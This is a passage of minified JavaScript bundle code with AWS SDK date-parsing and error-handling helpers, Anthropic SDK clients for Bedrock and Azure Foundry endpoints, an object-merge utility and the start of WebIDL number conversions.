NaN;case"Infinity":return 1/0;case"-Infinity":return-1/0;default:throw Error(`Unable to parse float value: ${A}`)}},"parseFloatString"),Lc4=Q4((A)=>{if(typeof A==="string")return rSA(K_A(A));return rSA(A)},"strictParseLong"),Bd9=Lc4,md9=Q4((A)=>{if(typeof A==="string")return Gw6(K_A(A));return Gw6(A)},"strictParseInt32"),e$A=Q4((A)=>{if(typeof A==="string")return Zw6(K_A(A));return Zw6(A)},"strictParseShort"),Rc4=Q4((A)=>{if(typeof A==="string")return Ww6(K_A(A));return Ww6(A)},"strictParseByte"),_z1=Q4((A)=>{return String(TypeError(A).stack||A).split(` `).slice(0,5).filter((K)=>!K.includes("stackTraceWarning")).join(` `)},"stackTraceWarning"),oSA={warn:console.warn},gd9=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],Vw6=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];function yc4(A){let K=A.getUTCFullYear(),q=A.getUTCMonth(),Y=A.getUTCDay(),z=A.getUTCDate(),w=A.getUTCHours(),H=A.getUTCMinutes(),J=A.getUTCSeconds(),O=z<10?`0${z}`:`${z}`,X=w<10?`0${w}`:`${w}`,$=H<10?`0${H}`:`${H}`,_=J<10?`0${J}`:`${J}`;return`${gd9[Y]}, ${O} ${Vw6[q]} ${K} ${X}:${$}:${_} GMT`}Q4(yc4,"dateToUtcString");var Fd9=new RegExp(/^(\d{4})-(\d{2})-(\d{2})[tT](\d{2}):(\d{2}):(\d{2})(?:\.(\d+))?[zZ]$/),Qd9=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-3339 date-times must be expressed as strings");let K=Fd9.exec(A);if(!K)throw TypeError("Invalid RFC-3339 date-time value");let[q,Y,z,w,H,J,O,X]=K,$=e$A(A_A(Y)),_=Ou(z,"month",1,12),G=Ou(w,"day",1,31);return iSA($,_,G,{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X})},"parseRfc3339DateTime"),Ud9=new RegExp(/^(\d{4})-(\d{2})-(\d{2})[tT](\d{2}):(\d{2}):(\d{2})(?:\.(\d+))?(([-+]\d{2}\:\d{2})|[zZ])$/),pd9=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-3339 date-times must be expressed as strings");let K=Ud9.exec(A);if(!K)throw TypeError("Invalid RFC-3339 date-time value");let[q,Y,z,w,H,J,O,X,$]=K,_=e$A(A_A(Y)),G=Ou(z,"month",1,12),Z=Ou(w,"day",1,31),W=iSA(_,G,Z,{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X});if($.toUpperCase()!="Z")W.setTime(W.getTime()-Kc9($));return W},"parseRfc3339DateTimeWithOffset"),dd9=new RegExp(/^(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun), (\d{2}) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) (\d{4}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? GMT$/),cd9=new RegExp(/^(?:Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sunday), (\d{2})-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d{2}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? GMT$/),ld9=new RegExp(/^(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ( [1-9]|\d{2}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? (\d{4})$/),id9=Q4((A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-7231 date-times must be expressed as strings");let K=dd9.exec(A);if(K){let[q,Y,z,w,H,J,O,X]=K;return iSA(e$A(A_A(w)),$w6(z),Ou(Y,"day",1,31),{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X})}if(K=cd9.exec(A),K){let[q,Y,z,w,H,J,O,X]=K;return ad9(iSA(rd9(w),$w6(z),Ou(Y,"day",1,31),{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X}))}if(K=ld9.exec(A),K){let[q,Y,z,w,H,J,O,X]=K;return iSA(e$A(A_A(X)),$w6(Y),Ou(z.trimLeft(),"day",1,31),{hours:w,minutes:H,seconds:J,fractionalMilliseconds:O})}throw TypeError("Invalid RFC-7231 date-time value")},"parseRfc7231DateTime"),nd9=Q4((A)=>{if(A===null||A===void 0)return;let K;if(typeof A==="number")K=A;else if(typeof A==="string")K=Mw6(A);else throw TypeError("Epoch timestamps must be expressed as floating point numbers or their string representation");if(Number.isNaN(K)||K===1/0||K===-1/0)throw TypeError("Epoch timestamps must be valid, non-Infinite, non-NaN numerics");return new Date(Math.round(K*1000))},"parseEpochTimestamp"),iSA=Q4((A,K,q,Y)=>{let z=K-1;return td9(A,z,q),new Date(Date.UTC(A,z,q,Ou(Y.hours,"hour",0,23),Ou(Y.minutes,"minute",0,59),Ou(Y.seconds,"seconds",0,60),Ac9(Y.fractionalMilliseconds)))},"buildDate"),rd9=Q4((A)=>{let K=new Date().getUTCFullYear(),q=Math.floor(K/100)*100+e$A(A_A(A));if(q<K)return q+100;return q},"parseTwoDigitYear"),od9=1576800000000,ad9=Q4((A)=>{if(A.getTime()-new Date().getTime()>od9)return new Date(Date.UTC(A.getUTCFullYear()-100,A.getUTCMonth(),A.getUTCDate(),A.getUTCHours(),A.getUTCMinutes(),A.getUTCSeconds(),A.getUTCMilliseconds()));return A},"adjustRfc850Year"),$w6=Q4((A)=>{let K=Vw6.indexOf(A);if(K<0)throw TypeError(`Invalid month: ${A}`);return K+1},"parseMonthByShortName"),sd9=[31,28,31,30,31,30,31,31,30,31,30,31],td9=Q4((A,K,q)=>{let Y=sd9[K];if(K===1&&ed9(A))Y=29;if(q>Y)throw TypeError(`Invalid day for ${Vw6[K]} in ${A}: ${q}`)},"validateDayOfMonth"),ed9=Q4((A)=>{return A%4===0&&(A%100!==0||A%400===0)},"isLeapYear"),Ou=Q4((A,K,q,Y)=>{let z=Rc4(A_A(A));if(z<q||z>Y)throw TypeError(`${K} must be between ${q} and ${Y}, inclusive`);return z},"parseDateValue"),Ac9=Q4((A)=>{if(A===null||A===void 0)return 0;return kc4("0."+A)*1000},"parseMilliseconds"),Kc9=Q4((A)=>{let K=A[0],q=1;if(K=="+")q=1;else if(K=="-")q=-1;else throw TypeError(`Offset direction, ${K}, must be "+" or "-"`);let Y=Number(A.substring(1,3)),z=Number(A.substring(4,6));return q*(Y*60+z)*60*1000},"parseOffsetToMilliseconds"),A_A=Q4((A)=>{let K=0;while(K<A.length-1&&A.charAt(K)==="0")K++;if(K===0)return A;return A.slice(K)},"stripLeadingZeroes"),Ic4=class A extends Error{constructor(K){super(K.message);Object.setPrototypeOf(this,A.prototype),this.name=K.name,this.$fault=K.$fault,this.$metadata=K.$metadata}};Q4(Ic4,"ServiceException");var qc9=Ic4,Sc4=Q4((A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},"decorateServiceException"),hc4=Q4(({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=zc9(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:(K==null?void 0:K.code)||(K==null?void 0:K.Code)||Y||w||"UnknownError",$fault:"client",$metadata:z});throw Sc4(H,K)},"throwDefaultError"),Yc9=Q4((A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{hc4({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},"withBaseException"),zc9=Q4((A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),"deserializeMetadata"),wc9=Q4((A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},"loadConfigsForDefaultMode"),jc4=!1,Hc9=Q4((A)=>{if(A&&!jc4&&parseInt(A.substring(1,A.indexOf(".")))<14)jc4=!0},"emitWarningIfUnsupportedVersion"),Jc9=Q4((A)=>{let K=[];for(let q in _w6.AlgorithmId){let Y=_w6.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{_checksumAlgorithms:K,addChecksumAlgorithm(q){this._checksumAlgorithms.push(q)},checksumAlgorithms(){return this._checksumAlgorithms}}},"getChecksumConfiguration"),Oc9=Q4((A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},"resolveChecksumRuntimeConfig"),Xc9=Q4((A)=>{let K=A.retryStrategy;return{setRetryStrategy(q){K=q},retryStrategy(){return K}}},"getRetryConfiguration"),$c9=Q4((A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},"resolveRetryRuntimeConfig"),bc4=Q4((A)=>{return{...Jc9(A),...Xc9(A)}},"getDefaultExtensionConfiguration"),_c9=bc4,Gc9=Q4((A)=>{return{...Oc9(A),...$c9(A)}},"resolveDefaultRuntimeConfig");function Gz1(A){return encodeURIComponent(A).replace(/[!'()*]/g,function(K){return"%"+K.charCodeAt(0).toString(16).toUpperCase()})}Q4(Gz1,"extendedEncodeURIComponent");var Zc9=Q4((A)=>Array.isArray(A)?A:[A],"getArrayIfSingleItem"),xc4=Q4((A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=xc4(A[q]);return A},"getValueFromTextNode"),aSA=Q4(function(){let A=Object.getPrototypeOf(this).constructor,q=new(Function.bind.apply(String,[null,...arguments]));return Object.setPrototypeOf(q,A.prototype),q},"StringWrapper");aSA.prototype=Object.create(String.prototype,{constructor:{value:aSA,enumerable:!1,writable:!0,configurable:!0}});Object.setPrototypeOf(aSA,String);var uc4=class A extends aSA{deserializeJSON(){return JSON.parse(super.toString())}toJSON(){return super.toString()}static fromObject(K){if(K instanceof A)return K;else if(K instanceof String||typeof K==="string")return new A(K);return new A(JSON.stringify(K))}};Q4(uc4,"LazyJsonString");var Wc9=uc4;function fw6(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,Mc9(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}Bc4(Y,null,w,H)}return Y}Q4(fw6,"map");var Dc9=Q4((A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},"convertMap"),jc9=Q4((A,K)=>{let q={};for(let Y in K)Bc4(q,A,K,Y);return q},"take"),Mc9=Q4((A,K,q)=>{return fw6(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},"mapWithFilter"),Bc4=Q4((A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=Pc9,O=Vc9,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},"applyInstruction"),Pc9=Q4((A)=>A!=null,"nonNullish"),Vc9=Q4((A)=>A,"pass"),fc9=Q4((A,K,q,Y,z,w)=>{if(K!=null&&K[q]!==void 0){let H=Y();if(H.length<=0)throw Error("Empty value provided for input HTTP label: "+q+".");A=A.replace(z,w?H.split("/").map((J)=>Gz1(J)).join("/"):Gz1(H))}else throw Error("No value provided for input HTTP label: "+q+".");return A},"resolvedPath"),Nc9=Q4((A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},"serializeFloat"),Dw6=Q4((A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(Dw6);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=Dw6(A[q])}return K}return A},"_json");function mc4(A,K,q){if(q<=0||!Number.isInteger(q))throw Error("Invalid number of delimiters ("+q+") for splitEvery.");let Y=A.split(K);if(q===1)return Y;let z=[],w="";for(let H=0;H<Y.length;H++){if(w==="")w=Y[H];else w+=K+Y[H];if((H+1)%q===0)z.push(w),w=""}if(w!=="")z.push(w);return z}Q4(mc4,"splitEvery")});var KH,qo,Tc9=async(A,K)=>{let q=KH.map({}),Y=A.body,z=KH.take(Y,{message:KH.expectString});Object.assign(q,z);let w=new qo.InternalServerException({$metadata:Wz1(A),...q});return KH.decorateServiceException(w,A.body)},vc9=async(A,K)=>{let q=KH.map({}),Y=A.body,z=KH.take(Y,{message:KH.expectString,originalMessage:KH.expectString,originalStatusCode:KH.expectInt32});Object.assign(q,z);let w=new qo.ModelStreamErrorException({$metadata:Wz1(A),...q});return KH.decorateServiceException(w,A.body)},Ec9=async(A,K)=>{let q=KH.map({}),Y=A.body,z=KH.take(Y,{message:KH.expectString});Object.assign(q,z);let w=new qo.ThrottlingException({$metadata:Wz1(A),...q});return KH.decorateServiceException(w,A.body)},kc9=async(A,K)=>{let q=KH.map({}),Y=A.body,z=KH.take(Y,{message:KH.expectString});Object.assign(q,z);let w=new qo.ValidationException({$metadata:Wz1(A),...q});return KH.decorateServiceException(w,A.body)},Qc4=(A,K)=>{return K.eventStreamMarshaller.deserialize(A,async(q)=>{if(q.chunk!=null)return{chunk:await Rc9(q.chunk,K)};if(q.internalServerException!=null)return{internalServerException:await Cc9(q.internalServerException,K)};if(q.modelStreamErrorException!=null)return{modelStreamErrorException:await Lc9(q.modelStreamErrorException,K)};if(q.validationException!=null)return{validationException:await Ic9(q.validationException,K)};if(q.throttlingException!=null)return{throttlingException:await yc9(q.throttlingException,K)};return{$unknown:A}})},Cc9=async(A,K)=>{let q={...A,body:await sSA(A.body,K)};return Tc9(q,K)},Lc9=async(A,K)=>{let q={...A,body:await sSA(A.body,K)};return vc9(q,K)},Rc9=async(A,K)=>{let q={},Y=await sSA(A.body,K);return Object.assign(q,Sc9(Y,K)),q},yc9=async(A,K)=>{let q={...A,body:await sSA(A.body,K)};return Ec9(q,K)},Ic9=async(A,K)=>{let q={...A,body:await sSA(A.body,K)};return kc9(q,K)},Sc9=(A,K)=>{return KH.take(A,{bytes:K.base64Decoder})},Wz1=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"]??"",extendedRequestId:A.headers["x-amz-id-2"]??"",cfId:A.headers["x-amz-cf-id"]??""}),hc9=(A,K)=>KH.collectBody(A,K).then((q)=>K.utf8Encoder(q)),sSA=(A,K)=>hc9(A,K).then((q)=>{if(q.length)return JSON.parse(q);return{}});var Uc4=k(()=>{KH=o(Fc4(),1),qo=o(S71(),1)});function pc4(A){if(A[Symbol.asyncIterator])return A;let K=A.getReader();return{async next(){try{let q=await K.read();if(q?.done)K.releaseLock();return q}catch(q){throw K.releaseLock(),q}},async return(){let q=K.cancel();return K.releaseLock(),await q,{done:!0,value:void 0}},[Symbol.asyncIterator](){return this}}}var Nw6=k(()=>{rj()});function Dz1(A){return A!=null&&typeof A==="object"&&!Array.isArray(A)}var Tw6=(A)=>(Tw6=Array.isArray,Tw6(A)),vw6,dc4=(A)=>{try{return JSON.parse(A)}catch(K){return}};var tSA=k(()=>{Nw6();vw6=Tw6});function eSA(){}function jz1(A,K,q){if(!K||cc4[A]>cc4[q])return eSA;else return K[A].bind(K)}function ic4(A){let K=A.logger,q=A.logLevel??"off";if(!K)return bc9;let Y=lc4.get(K);if(Y&&Y[0]===q)return Y[1];let z={error:jz1("error",K,q),warn:jz1("warn",K,q),info:jz1("info",K,q),debug:jz1("debug",K,q)};return lc4.set(K,[q,z]),z}var cc4,bc9,lc4;var nc4=k(()=>{tSA();cc4={off:0,error:200,warn:300,info:400,debug:500};bc9={error:eSA,warn:eSA,info:eSA,debug:eSA},lc4=new WeakMap});function uc9(A){return typeof A==="object"&&A!==null&&(("name"in A)&&A.name==="AbortError"||("message"in A)&&String(A.message).includes("FetchRequestCanceledException"))}var oc4,Mz1,ac4,Ew6=(A)=>new TextDecoder("utf-8").decode(A),rc4=(A)=>new TextEncoder().encode(A),xc9=()=>{let A=new oc4.EventStreamMarshaller({utf8Encoder:Ew6,utf8Decoder:rc4});return{base64Decoder:Mz1.fromBase64,base64Encoder:Mz1.toBase64,utf8Decoder:rc4,utf8Encoder:Ew6,eventStreamMarshaller:A,streamCollector:ac4.streamCollector}},Pz1;var sc4=k(()=>{EA1();y6A();sN();Uc4();tSA();nc4();oc4=o(Od4(),1),Mz1=o(sz6(),1),ac4=o(k26(),1);Pz1=class Pz1 extends oj{static fromSSEResponse(A,K,q){let Y=!1,z=q?ic4(q):console;async function*w(){if(!A.body)throw K.abort(),new O7("Attempted to iterate over a response with no body");let J=pc4(A.body),O=Qc4(J,xc9());for await(let X of O)if(X.chunk&&X.chunk.bytes)yield{event:"chunk",data:Ew6(X.chunk.bytes),raw:[]};else if(X.internalServerException)yield{event:"error",data:"InternalServerException",raw:[]};else if(X.modelStreamErrorException)yield{event:"error",data:"ModelStreamErrorException",raw:[]};else if(X.validationException)yield{event:"error",data:"ValidationException",raw:[]};else if(X.throttlingException)yield{event:"error",data:"ThrottlingException",raw:[]}}async function*H(){if(Y)throw Error("Cannot iterate over a consumed stream, use `.tee()` to split the stream.");Y=!0;let J=!1;try{for await(let O of w()){if(O.event==="chunk")try{yield JSON.parse(O.data)}catch(X){throw z.error("Could not parse message into JSON:",O.data),z.error("From chunk:",O.raw),X}if(O.event==="error"){let X=O.data,$=dc4(X),_=$?void 0:X;throw r7.generate(void 0,$,_,A.headers)}}J=!0}catch(O){if(uc9(O))return;throw O}finally{if(!J)K.abort()}}return new Pz1(H,K)}}});var kw6=(A)=>{if(typeof globalThis.process<"u")return globalThis.process.env?.[A]?.trim()??void 0;if(typeof globalThis.Deno<"u")return globalThis.Deno.env?.get?.(A)?.trim();return};function*Bc9(A){if(!A)return;if(tc4 in A){let{values:Y,nulls:z}=A;yield*Y.entries();for(let w of z)yield[w,null];return}let K=!1,q;if(A instanceof Headers)q=A.entries();else if(vw6(A))q=A;else K=!0,q=Object.entries(A??{});for(let Y of q){let z=Y[0];if(typeof z!=="string")throw TypeError("expected header name to be a string");let w=vw6(Y[1])?Y[1]:[Y[1]],H=!1;for(let J of w){if(J===void 0)continue;if(K&&!H)H=!0,yield[z,null];yield[z,J]}}}var tc4,Cw6=(A)=>{let K=new Headers,q=new Set;for(let Y of A){let z=new Set;for(let[w,H]of Bc9(Y)){let J=w.toLowerCase();if(!z.has(J))K.delete(w),z.add(J);if(H===null)K.delete(w),q.add(J);else K.append(w,H),q.delete(J)}}return{[tc4]:!0,values:K,nulls:q}};var ec4=k(()=>{tSA();tc4=Symbol.for("brand.privateNullableHeaders")});function Kl4(A){return A.replace(/[^A-Za-z0-9\-._~!$&'()*+,;=:@]+/g,encodeURIComponent)}var Al4,mc9=(A=Kl4)=>function(q,...Y){if(q.length===1)return q[0];let z=!1,w=[],H=q.reduce(($,_,G)=>{if(/[?#]/.test(_))z=!0;let Z=Y[G],W=(z?encodeURIComponent:A)(""+Z);if(G!==Y.length&&(Z==null||typeof Z==="object"&&Z.toString===Object.getPrototypeOf(Object.getPrototypeOf(Z.hasOwnProperty??Al4)??Al4)?.toString))W=Z+"",w.push({start:$.length+_.length,length:W.length,error:`Value of type ${Object.prototype.toString.call(Z).slice(8,-1)} is not a valid path parameter`});return $+_+(G===Y.length?"":W)},""),J=H.split(/[?#]/,1)[0],O=/(?<=^|\/)(?:\.|%2e){1,2}(?=\/|$)/gi,X;while((X=O.exec(J))!==null)w.push({start:X.index,length:X[0].length,error:`Value "${X[0]}" can't be safely passed as a path parameter`});if(w.sort(($,_)=>$.start-_.start),w.length>0){let $=0,_=w.reduce((G,Z)=>{let W=" ".repeat(Z.start-$),D="^".repeat(Z.length);return $=Z.start+Z.length,G+W+D},"");throw new O7(`Path parameters result in path with invalid segments: ${w.map((G)=>G.error).join(` `)} ${H} ${_}`)}return H},Lw6;var ql4=k(()=>{Nw6();Al4=Object.freeze(Object.create(null)),Lw6=mc9(Kl4)});function Qc9(A){let K=new aN(A);return delete K.batches,delete K.countTokens,K}function Uc9(A){let K=new $D(A);return delete K.promptCaching,delete K.messages.batches,delete K.messages.countTokens,K}var gc9="bedrock-2023-05-31",Fc9,Vz1;var Rw6=k(()=>{LF();CkA();cU4();sc4();tSA();ec4();ql4();LF();Fc9=new Set(["/v1/complete","/v1/messages","/v1/messages?beta=true"]);Vz1=class Vz1 extends $z{constructor({awsRegion:A=kw6("AWS_REGION")??"us-east-1",baseURL:K=kw6("ANTHROPIC_BEDROCK_BASE_URL")??`https://bedrock-runtime.${A}.amazonaws.com`,awsSecretKey:q=null,awsAccessKey:Y=null,awsSessionToken:z=null,providerChainResolver:w=null,...H}={}){super({baseURL:K,...H});this.skipAuth=!1,this.messages=Qc9(this),this.completions=new Ii(this),this.beta=Uc9(this),this.awsSecretKey=q,this.awsAccessKey=Y,this.awsRegion=A,this.awsSessionToken=z,this.skipAuth=H.skipAuth??!1,this.providerChainResolver=w}validateHeaders(){}async prepareRequest(A,{url:K,options:q}){if(this.skipAuth)return;let Y=this.awsRegion;if(!Y)throw Error("Expected `awsRegion` option to be passed to the client or the `AWS_REGION` environment variable to be present");let z=await dU4(A,{url:K,regionName:Y,awsAccessKey:this.awsAccessKey,awsSecretKey:this.awsSecretKey,awsSessionToken:this.awsSessionToken,fetchOptions:this.fetchOptions,providerChainResolver:this.providerChainResolver});A.headers=Cw6([z,A.headers]).values}async buildRequest(A){if(A.__streamClass=Pz1,Dz1(A.body))A.body={...A.body};if(Dz1(A.body)){if(!A.body.anthropic_version)A.body.anthropic_version=gc9;if(A.headers&&!A.body.anthropic_beta){let K=Cw6([A.headers]).values.get("anthropic-beta");if(K!=null)A.body.anthropic_beta=K.split(",")}}if(Fc9.has(A.path)&&A.method==="post"){if(!Dz1(A.body))throw Error("Expected request body to be an object for post /v1/messages");let K=A.body.model;A.body.model=void 0;let q=A.body.stream;if(A.body.stream=void 0,q)A.path=Lw6`/model/${K}/invoke-with-response-stream`;else A.path=Lw6`/model/${K}/invoke`}return super.buildRequest(A)}}});var Yl4=k(()=>{Rw6();Rw6()});var fz1=k(()=>{rj()});var yw6=(A)=>(yw6=Array.isArray,yw6(A)),Iw6;var Nz1=k(()=>{fz1();Iw6=yw6});function*dc9(A){if(!A)return;if(zl4 in A){let{values:Y,nulls:z}=A;yield*Y.entries();for(let w of z)yield[w,null];return}let K=!1,q;if(A instanceof Headers)q=A.entries();else if(Iw6(A))q=A;else K=!0,q=Object.entries(A??{});for(let Y of q){let z=Y[0];if(typeof z!=="string")throw TypeError("expected header name to be a string");let w=Iw6(Y[1])?Y[1]:[Y[1]],H=!1;for(let J of w){if(J===void 0)continue;if(K&&!H)H=!0,yield[z,null];yield[z,J]}}}var zl4,Sw6=(A)=>{let K=new Headers,q=new Set;for(let Y of A){let z=new Set;for(let[w,H]of dc9(Y)){let J=w.toLowerCase();if(!z.has(J))K.delete(w),z.add(J);if(H===null)K.delete(w),q.add(J);else K.append(w,H),q.delete(J)}}return{[zl4]:!0,values:K,nulls:q}};var wl4=k(()=>{Nz1();zl4=Symbol.for("brand.privateNullableHeaders")});var Hl4=k(()=>{fz1()});var Tz1=(A)=>{if(typeof globalThis.process<"u")return globalThis.process.env?.[A]?.trim()??void 0;if(typeof globalThis.Deno<"u")return globalThis.Deno.env?.get?.(A)?.trim();return};var Jl4=k(()=>{Nz1()});var Ol4=k(()=>{Nz1();Hl4();Jl4()});function cc9(A){let K=new aN(A);return delete K.batches,K}function lc9(A){let K=new $D(A);return delete K.messages.batches,K}var vz1;var hw6=k(()=>{wl4();fz1();Ol4();LF();LF();CkA();vz1=class vz1 extends pR{constructor({baseURL:A=Tz1("ANTHROPIC_FOUNDRY_BASE_URL"),apiKey:K=Tz1("ANTHROPIC_FOUNDRY_API_KEY"),resource:q=Tz1("ANTHROPIC_FOUNDRY_RESOURCE"),azureADTokenProvider:Y,dangerouslyAllowBrowser:z,...w}={}){if(typeof Y==="function")z=!0;if(!Y&&!K)throw new O7("Missing credentials. Please pass one of `apiKey` and `azureTokenProvider`, or set the `ANTHROPIC_FOUNDRY_API_KEY` environment variable.");if(Y&&K)throw new O7("The `apiKey` and `azureADTokenProvider` arguments are mutually exclusive; only one can be passed at a time.");if(!A){if(!q)throw new O7("Must provide one of the `baseURL` or `resource` arguments, or the `ANTHROPIC_FOUNDRY_RESOURCE` environment variable");A=`https://${q}.services.ai.azure.com/anthropic/`}else if(q)throw new O7("baseURL and resource are mutually exclusive");super({apiKey:Y??K,baseURL:A,...w,...z!==void 0?{dangerouslyAllowBrowser:z}:{}});this.resource=null,this.messages=cc9(this),this.beta=lc9(this),this.models=void 0}async authHeaders(){if(typeof this._options.apiKey==="function"){let A;try{A=await this._options.apiKey()}catch(K){if(K instanceof O7)throw K;throw new O7(`Failed to get token from azureADTokenProvider: ${K.message}`,{cause:K})}if(typeof A!=="string"||!A)throw new O7(`Expected azureADTokenProvider function argument to return a string but it returned ${A}`);return Sw6([{Authorization:`Bearer ${A}`}])}if(typeof this._options.apiKey==="string")return Sw6([{"x-api-key":this.apiKey}]);return}validateHeaders(){return}}});var Xl4=k(()=>{hw6();hw6()});var bw6=v((INw,Ml4)=>{var Ez1=Object.prototype.hasOwnProperty,jl4=Object.prototype.toString,$l4=Object.defineProperty,_l4=Object.getOwnPropertyDescriptor,Gl4=function(K){if(typeof Array.isArray==="function")return Array.isArray(K);return jl4.call(K)==="[object Array]"},Zl4=function(K){if(!K||jl4.call(K)!=="[object Object]")return!1;var q=Ez1.call(K,"constructor"),Y=K.constructor&&K.constructor.prototype&&Ez1.call(K.constructor.prototype,"isPrototypeOf");if(K.constructor&&!q&&!Y)return!1;var z;for(z in K);return typeof z>"u"||Ez1.call(K,z)},Wl4=function(K,q){if($l4&&q.name==="__proto__")$l4(K,q.name,{enumerable:!0,configurable:!0,value:q.newValue,writable:!0});else K[q.name]=q.newValue},Dl4=function(K,q){if(q==="__proto__"){if(!Ez1.call(K,q))return;else if(_l4)return _l4(K,q).value}return K[q]};Ml4.exports=function A(){var K,q,Y,z,w,H,J=arguments[0],O=1,X=arguments.length,$=!1;if(typeof J==="boolean")$=J,J=arguments[1]||{},O=2;if(J==null||typeof J!=="object"&&typeof J!=="function")J={};for(;O<X;++O)if(K=arguments[O],K!=null){for(q in K)if(Y=Dl4(J,q),z=Dl4(K,q),J!==z){if($&&z&&(Zl4(z)||(w=Gl4(z)))){if(w)w=!1,H=Y&&Gl4(Y)?Y:[];else H=Y&&Zl4(Y)?Y:{};Wl4(J,{name:q,newValue:A($,H,z)})}else if(typeof z<"u")Wl4(J,{name:q,newValue:z})}}return J}});var Cz1=v((Nl4)=>{function iz(A,K,q){if(q.globals)A=q.globals[A.name];return new A(`${q.context?q.context:"Value"} ${K}.`)}function z_A(A,K){if(typeof A==="bigint")throw iz(TypeError,"is a BigInt which cannot be converted to a number",K);if(!K.globals)return Number(A);return K.globals.Number(A)}function Vl4(A){if(A>0&&A%1===0.5&&(A&1)===0||A<0&&A%1===-0.5&&(A&1)===1)return AhA(Math.floor(A));return AhA(Math.round(A))}function kz1(A){return AhA(Math.trunc(A))}function Pl4(A){return A<0?-1:1}function ic9(A,K){let q=A%K;if(Pl4(K)!==Pl4(q))return q+K;return q}function AhA(A){return A===0?0:A}function w_A(A,{unsigned:K}){let q,Y;if(K)q=0,Y=2**A-1;else q=-(2**(A-1)),Y=2**(A-1)-1;let z=2**A,w=2**(A-1);return(H,J={})=>{let O=z_A(H,J);if(O=AhA(O),J.enforceRange){if(!Number.isFinite(O))throw iz(TypeError,"is not a finite number",J);if(O=kz1(O),O<q||O>Y)throw iz(TypeError,`is outside the accepted range of ${q} to ${Y}, inclusive`,J);return O}if(!Number.isNaN(O)&&J.clamp)return O=Math.min(Math.max(O,q),Y),O=Vl4(O),O;if(!Number.isFinite(O)||O===0)return 0;if(O=kz1(O),O>=q&&O<=Y)return O;if(O=ic9(O,z),!K&&O>=w)return O-z;return O}}function fl4(A,{unsigned:K}){let q=Number.MAX_SAFE_INTEGER,Y=K?0:Number.MIN_SAFE_INTEGER,z=K?BigInt.asUintN:BigInt.asIntN;return(w,H={})=>{let J=z_A(w,H);if(J=AhA(J),H.enforceRange){if(!Number.isFinite(J))throw iz(TypeError,"is not a finite number",H);if(J=kz1(J),J<Y||J>q)throw iz(TypeError,`is outside the accepted range of ${Y} to ${q}, inclusive`,H);return J}if(!Number.isNaN(J)&&H.clamp)return J=Math.min(Math.max(J,Y),q),J=Vl4(J),J;if(!Number.isFinite(J)||J===0)return 0;let O=BigInt(kz1(J));return O=z(A,O),Number(O)}}Nl4.any=(A)=>{return A};Nl4.undefined=()=>{return};Nl4.boolean=(A)=>{return 